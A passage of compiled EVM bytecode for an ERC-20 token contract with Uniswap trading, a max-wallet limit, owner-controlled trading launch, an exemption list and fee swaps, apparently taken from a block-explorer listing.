613797565b60405180910390f35b3480156106b457600080fd5b506106cf60048036038101906106ca91906133f1565b6118b4565b6040516106dc919061344c565b60405180910390f35b3480156106f157600080fd5b5061070c600480360381019061070791906137b2565b6118cb565b60405161071991906134cf565b60405180910390f35b34801561072e57600080fd5b5061074960048036038101906107449190613705565b611952565b005b34801561075757600080fd5b50610772600480360381019061076d9190613732565b611a28565b005b34801561078057600080fd5b5061079b60048036038101906107969190613685565b611b1f565b005b3480156107a957600080fd5b506107b2611c30565b6040516107c092919061375f565b60405180910390f35b3480156107d557600080fd5b506107de611c42565b6040516107eb9190613851565b60405180910390f35b6107fc611c68565b73ffffffffffffffffffffffffffffffffffffffff1661081a611611565b73ffffffffffffffffffffffffffffffffffffffff1614610870576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610867906138b8565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108fa91906138ed565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610961573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098591906138ed565b6040518363ffffffff1660e01b81526004016109a292919061391a565b6020604051808303816000875af11580156109c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109e591906138ed565b905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610b7530611193565b60008033426040518863ffffffff1660e01b8152600401610b9b9695949392919061397e565b60606040518083038185885af1158015610bb9573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610bde91906139f4565b5050505050565b606060038054610bf490613a76565b80601f0160208091040260200160405190810160405280929190818152602001828054610c2090613a76565b8015610c6d5780601f10610c4257610100808354040283529160200191610c6d565b820191906000526020600020905b815481529060010190602001808311610c5057829003601f168201915b5050505050905090565b6000610c8b610c84611c68565b8484611c70565b6001905092915050565b610c9d611c68565b73ffffffffffffffffffffffffffffffffffffffff16610cbb611611565b73ffffffffffffffffffffffffffffffffffffffff1614610d11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d08906138b8565b60405180910390fd5b80600760156101000a81548160ff02191690831515021790555050565b6000600254905090565b6000610d45848484611e39565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610d90611c68565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610e10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0790613b19565b60405180910390fd5b610e2d85610e1c611c68565b8584610e289190613b68565b611c70565b60019150509392505050565b610e41611c68565b73ffffffffffffffffffffffffffffffffffffffff16610e5f611611565b73ffffffffffffffffffffffffffffffffffffffff1614610eb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eac906138b8565b60405180910390fd5b60005b8151811015610f4657600060146000848481518110610eda57610ed9613b9c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610f3e90613bcb565b915050610eb8565b5050565b60006012905090565b6000610ff5610f60611c68565b848460016000610f6e611c68565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ff09190613c13565b611c70565b6001905092915050565b611007611c68565b73ffffffffffffffffffffffffffffffffffffffff16611025611611565b73ffffffffffffffffffffffffffffffffffffffff161461107b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611072906138b8565b60405180910390fd5b611083610f4a565b600a61108f9190613d7a565b8161109a9190613dc5565b60098190555050565b600760169054906101000a900460ff1681565b6110be611c68565b73ffffffffffffffffffffffffffffffffffffffff166110dc611611565b73ffffffffffffffffffffffffffffffffffffffff1614611132576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611129906138b8565b60405180910390fd5b6001601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600a5481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6111e3611c68565b73ffffffffffffffffffffffffffffffffffffffff16611201611611565b73ffffffffffffffffffffffffffffffffffffffff1614611257576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124e906138b8565b60405180910390fd5b6112616000612729565b565b60108060000154908060010154905082565b600061127f611c68565b73ffffffffffffffffffffffffffffffffffffffff1661129d611611565b73ffffffffffffffffffffffffffffffffffffffff16146112f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ea906138b8565b60405180910390fd5b600854600a819055506001905090565b60146020528060005260406000206000915054906101000a900460ff1681565b61132b611c68565b73ffffffffffffffffffffffffffffffffffffffff16611349611611565b73ffffffffffffffffffffffffffffffffffffffff161461139f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611396906138b8565b60405180910390fd5b6000601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61dead81565b611408611c68565b73ffffffffffffffffffffffffffffffffffffffff16611426611611565b73ffffffffffffffffffffffffffffffffffffffff161461147c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611473906138b8565b60405180910390fd5b600760169054906101000a900460ff16156114cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c390613e53565b60405180910390fd5b6001600760166101000a81548160ff0219169083151502179055506001600760156101000a81548160ff02191690831515021790555043600d81905550565b611513611c68565b73ffffffffffffffffffffffffffffffffffffffff16611531611611565b73ffffffffffffffffffffffffffffffffffffffff1614611587576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157e906138b8565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6115ab611611565b836040518363ffffffff1660e01b81526004016115c9929190613e73565b6020604051808303816000875af11580156115e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061160c9190613eb1565b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461164a90613a76565b80601f016020809104026020016040519081016040528092919081815260200182805461167690613a76565b80156116c35780601f10611698576101008083540402835291602001916116c3565b820191906000526020600020905b8154815290600101906020018083116116a657829003601f168201915b5050505050905090565b6116d5611c68565b73ffffffffffffffffffffffffffffffffffffffff166116f3611611565b73ffffffffffffffffffffffffffffffffffffffff1614611749576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611740906138b8565b60405180910390fd5b611751611611565b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611796573d6000803e3d6000fd5b5050565b600080600160006117a9611c68565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015611866576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185d90613f50565b60405180910390fd5b611883611871611c68565b85858461187e9190613b68565b611c70565b600191505092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006118c1338484611e39565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61195a611c68565b73ffffffffffffffffffffffffffffffffffffffff16611978611611565b73ffffffffffffffffffffffffffffffffffffffff16146119ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c5906138b8565b60405180910390fd5b600760169054906101000a900460ff1615611a1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1590613fe2565b60405180910390fd5b80600e8190555050565b611a30611c68565b73ffffffffffffffffffffffffffffffffffffffff16611a4e611611565b73ffffffffffffffffffffffffffffffffffffffff1614611aa4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9b906138b8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611b13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0a90614074565b60405180910390fd5b611b1c81612729565b50565b611b27611c68565b73ffffffffffffffffffffffffffffffffffffffff16611b45611611565b73ffffffffffffffffffffffffffffffffffffffff1614611b9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b92906138b8565b60405180910390fd5b60005b8151811015611c2c57600160146000848481518110611bc057611bbf613b9c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611c2490613bcb565b915050611b9e565b5050565b60128060000154908060010154905082565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611cdf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd690614106565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611d4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4590614198565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611e2c91906134cf565b60405180910390a3505050565b60008111611e7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e739061422a565b60405180910390fd5b601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f205750601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f7557600760169054906101000a900460ff16611f74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6b90614296565b60405180910390fd5b5b611f7d611611565b73ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1603611fbf57611fba8383836127ef565b612724565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120665750601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561207f5750600760149054906101000a900460ff16155b156120dd57600a548161209184611193565b61209b9190613c13565b11156120dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d390614302565b60405180910390fd5b5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156121855750601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156121db5750601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156121f45750600760149054906101000a900460ff16155b156122a857600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146122a757600a548161225b84611193565b6122659190613c13565b11156122a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161229d90614302565b60405180910390fd5b5b5b601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806123495750601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156123c757601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156123b0576123ab838383612a6c565b612724565b633b9aca00436123c09190613c13565b600e819055505b60008060006123d461327d565b6000601460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561247a5750601460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156124945750600e54600d546124919190613c13565b43105b9050600760149054906101000a900460ff16806124fa5750601460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061254e5750601460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561255c5760009250612638565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161480156125b7575080155b156125dc576012600001546012600101546125d29190613c13565b9450849350612637565b80612624576010600001546010600101546125f79190613c13565b94508493506010604051806040016040529081600082015481526020016001820154815250509150612636565b801561263557600f549450600f5493505b5b5b5b606484876126469190613dc5565b6126509190614351565b9250600760159054906101000a900460ff1680156126bc5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff1614155b156126cc576126cb8583612c9b565b5b6126e2888885896126dd9190613b68565b6127ef565b600083111561271e57600085111561271d576000606486886127049190613dc5565b61270e9190614351565b905061271b8930836127ef565b505b5b50505050505b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361285e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612855906143f4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036128cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128c490614486565b60405180910390fd5b6128d8838383612e61565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561295e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161295590614518565b60405180910390fd5b818161296a9190613b68565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546129fa9190613c13565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612a5e91906134cf565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612adb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ad2906143f4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612b4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b4190614486565b60405180910390fd5b612b55838383612e61565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050806000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612c299190613c13565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612c8d91906134cf565b60405180910390a350505050565b600760149054906101000a900460ff16612e5d576001600760146101000a81548160ff0219169083151502179055506000820315612e41576000612cde30611193565b90506009548110612e3f5760016009541115612cfa5760095490505b6000600284612d099190613dc5565b9050600081846020015184612d1e9190613dc5565b612d289190614351565b905060008184612d389190613b68565b90506000479050612d4882612e66565b60008147612d569190613b68565b90506000876020015186612d6a9190613b68565b82612d759190614351565b90506000886020015182612d899190613dc5565b90506000811115612d9f57612d9e86826130a9565b5b600080600e5443612db09190613b68565b119050600081612dc1576000612dde565b8a60000151600285612dd39190613dc5565b612ddd9190613dc5565b5b90506000811115612e3557612e3481600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661318990919063ffffffff16565b5b5050505050505050505b505b6000600760146101000a81548160ff0219169083151502179055505b5050565b505050565b6000600267ffffffffffffffff811115612e8357612e82613542565b5b604051908082528060200260200182016040528015612eb15781602001602082028036833780820191505090505b5090503081600081518110612ec957612ec8613b9c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612f70573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612f9491906138ed565b81600181518110612fa857612fa7613b9c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061300f30600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611c70565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016130739594939291906145f6565b600060405180830381600087803b15801561308d57600080fd5b505af11580156130a1573d6000803e3d6000fd5b505050505050565b6130d630600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611c70565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008061dead426040518863ffffffff1660e01b815260040161313f9695949392919061397e565b60606040518083038185885af115801561315d573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061318291906139f4565b5050505050565b804710156131cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131c39061469c565b60405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff16826040516131f2906146ed565b60006040518083038185875af1925050503d806000811461322f576040519150601f19603f3d011682016040523d82523d6000602084013e613234565b606091505b5050905080613278576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161326f90614774565b60405180910390fd5b505050565b604051806040016040528060008152602001600081525090565b600081519050919050565b600082825260208201905092915050565b60005b838110156132d15780820151818401526020810190506132b6565b60008484015250505050565b6000601f19601f8301169050919050565b60006132f982613297565b61330381856132a2565b93506133138185602086016132b3565b61331c816132dd565b840191505092915050565b6000602082019050818103600083015261334181846132ee565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006133888261335d565b9050919050565b6133988161337d565b81146133a357600080fd5b50565b6000813590506133b58161338f565b92915050565b6000819050919050565b6133ce816133bb565b81146133d957600080fd5b50565b6000813590506133eb816133c5565b92915050565b6000806040838503121561340857613407613353565b5b6000613416858286016133a6565b9250506020613427858286016133dc565b9150509250929050565b60008115159050919050565b61344681613431565b82525050565b6000602082019050613461600083018461343d565b92915050565b61347081613431565b811461347b57600080fd5b50565b60008135905061348d81613467565b92915050565b6000602082840312156134a9576134a8613353565b5b60006134b78482850161347e565b91505092915050565b6134c9816133bb565b82525050565b60006020820190506134e460008301846134c0565b92915050565b60008060006060848603121561350357613502613353565b5b6000613511868287016133a6565b9350506020613522868287016133a6565b9250506040613533868287016133dc565b9150509250925092565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61357a826132dd565b810181811067ffffffffffffffff8211171561359957613598613542565b5b80604052505050565b60006135ac613349565b90506135b88282613571565b919050565b600067ffffffffffffffff8211156135d8576135d7613542565b5b602082029050602081019050919050565b600080fd5b60006136016135fc846135bd565b6135a2565b90508083825260208201905060208402830185811115613624576136236135e9565b5b835b8181101561364d578061363988826133a6565b845260208401935050602081019050613626565b5050509392505050565b600082601f83011261366c5761366b61353d565b5b813561367c8482602086016135ee565b91505092915050565b60006020828403121561369b5761369a613353565b5b600082013567ffffffffffffffff8111156136b9576136b8613358565b5b6136c584828501613657565b91505092915050565b600060ff82169050919050565b6136e4816136ce565b82525050565b60006020820190506136ff60008301846136db565b92915050565b60006020828403121561371b5761371a613353565b5b6000613729848285016133dc565b91505092915050565b60006020828403121561374857613747613353565b5b6000613756848285016133a6565b91505092915050565b600060408201905061377460008301856134c0565b61378160208301846134c0565b9392505050565b6137918161337d565b82525050565b60006020820190506137ac6000830184613788565b92915050565b600080604083850312156137c9576137c8613353565b5b60006137d7858286016133a6565b92505060206137e8858286016133a6565b9150509250929050565b6000819050919050565b600061381761381261380d8461335d565b6137f2565b61335d565b9050919050565b6000613829826137fc565b9050919050565b600061383b8261381e565b9050919050565b61384b81613830565b82525050565b60006020820190506138666000830184613842565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006138a26020836132a2565b91506138ad8261386c565b602082019050919050565b600060208201905081810360008301526138d181613895565b9050919050565b6000815190506138e78161338f565b92915050565b60006020828403121561390357613902613353565b5b6000613911848285016138d8565b91505092915050565b600060408201905061392f6000830185613788565b61393c6020830184613788565b9392505050565b6000819050919050565b600061396861396361395e84613943565b6137f2565b6133bb565b9050919050565b6139788161394d565b82525050565b600060c0820190506139936000830189613788565b6139a060208301886134c0565b6139ad604083018761396f565b6139ba606083018661396f565b6139c76080830185613788565b6139d460a08301846134c0565b979650505050505050565b6000815190506139ee816133c5565b92915050565b600080600060608486031215613a0d57613a0c613353565b5b6000613a1b868287016139df565b9350506020613a2c868287016139df565b9250506040613a3d868287016139df565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680613a8e57607f821691505b602082108103613aa157613aa0613a47565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000613b036028836132a2565b9150613b0e82613aa7565b604082019050919050565b60006020820190508181036000830152613b3281613af6565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613b73826133bb565b9150613b7e836133bb565b9250828203905081811115613b9657613b95613b39565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000613bd6826133bb565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613c0857613c07613b39565b5b600182019050919050565b6000613c1e826133bb565b9150613c29836133bb565b9250828201905080821115613c4157613c40613b39565b5b92915050565b60008160011c9050919050565b6000808291508390505b6001851115613c9e57808604811115613c7a57613c79613b39565b5b6001851615613c895780820291505b8081029050613c9785613c47565b9450613c5e565b94509492505050565b600082613cb75760019050613d73565b81613cc55760009050613d73565b8160018114613cdb5760028114613ce557613d14565b6001915050613d73565b60ff841115613cf757613cf6613b39565b5b8360020a915084821115613d0e57613d0d613b39565b5b50613d73565b5060208310610133831016604e8410600b8410161715613d495782820a905083811115613d4457613d43613b39565b5b613d73565b613d568484846001613c54565b92509050818404811115613d6d57613d6c613b39565b5b81810290505b9392505050565b6000613d85826133bb565b9150613d90836136ce565b9250613dbd7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613ca7565b905092915050565b6000613dd0826133bb565b9150613ddb836133bb565b9250828202613de9816133bb565b91508282048414831517613e0057613dff613b39565b5b5092915050565b7f54726164696e6720697320616c726561647920656e61626c6564000000000000600082015250565b6000613e3d601a836132a2565b9150613e4882613e07565b602082019050919050565b60006020820190508181036000830152613e6c81613e30565b9050919050565b6000604082019050613e886000830185613788565b613e9560208301846134c0565b9392505050565b600081519050613eab81613467565b92915050565b600060208284031215613ec757613ec6613353565b5b6000613ed584828501613e9c565b91505092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000613f3a6025836132a2565b9150613f4582613ede565b604082019050919050565b60006020820190508181036000830152613f6981613f2d565b9050919050565b7f43616e2774206368616e6765207768656e2074726164696e672068617320737460008201527f6172746564000000000000000000000000000000000000000000000000000000602082015250565b6000613fcc6025836132a2565b9150613fd782613f70565b604082019050919050565b60006020820190508181036000830152613ffb81613fbf565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061405e6026836132a2565b915061406982614002565b604082019050919050565b6000602082019050818103600083015261408d81614051565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006140f06024836132a2565b91506140fb82614094565b604082019050919050565b6000602082019050818103600083015261411f816140e3565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006141826022836132a2565b915061418d82614126565b604082019050919050565b600060208201905081810360008301526141b181614175565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006142146029836132a2565b915061421f826141b8565b604082019050919050565b6000602082019050818103600083015261424381614207565b9050919050565b7f54726164696e67206e6f7420656e61626c656400000000000000000000000000600082015250565b60006142806013836132a2565b915061428b8261424a565b602082019050919050565b600060208201905081810360008301526142af81614273565b9050919050565b7f596f752061726520657863656564696e67206d617857616c6c65744c696d6974600082015250565b60006142ec6020836132a2565b91506142f7826142b6565b602082019050919050565b6000602082019050818103600083015261431b816142df565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061435c826133bb565b9150614367836133bb565b92508261437757614376614322565b5b828204905092915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006143de6025836132a2565b91506143e982614382565b604082019050919050565b6000602082019050818103600083015261440d816143d1565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006144706023836132a2565b915061447b82614414565b604082019050919050565b6000602082019050818103600083015261449f81614463565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006145026026836132a2565b915061450d826144a6565b604082019050919050565b60006020820190508181036000830152614531816144f5565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61456d8161337d565b82525050565b600061457f8383614564565b60208301905092915050565b6000602082019050919050565b60006145a382614538565b6145ad8185614543565b93506145b883614554565b8060005b838110156145e95781516145d08882614573565b97506145db8361458b565b9250506001810190506145bc565b5085935050505092915050565b600060a08201905061460b60008301886134c0565b614618602083018761396f565b818103604083015261462a8186614598565b90506146396060830185613788565b61464660808301846134c0565b9695505050505050565b7f416464726573733a20696e73756666696369656e742062616c616e6365000000600082015250565b6000614686601d836132a2565b915061469182614650565b602082019050919050565b600060208201905081810360008301526146b581614679565b9050919050565b600081905092915050565b50565b60006146d76000836146bc565b91506146e2826146c7565b600082019050919050565b60006146f8826146ca565b9150819050919050565b7f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260008201527f6563697069656e74206d61792068617665207265766572746564000000000000602082015250565b600061475e603a836132a2565b915061476982614702565b604082019050919050565b6000602082019050818103600083015261478d81614751565b905091905056fea264697066735822122069336e29b11265c0c4438544955989e8ae8ad5c1426c81bd4abdb5d246b0004464736f6c63430008130033

Deployed Bytecode

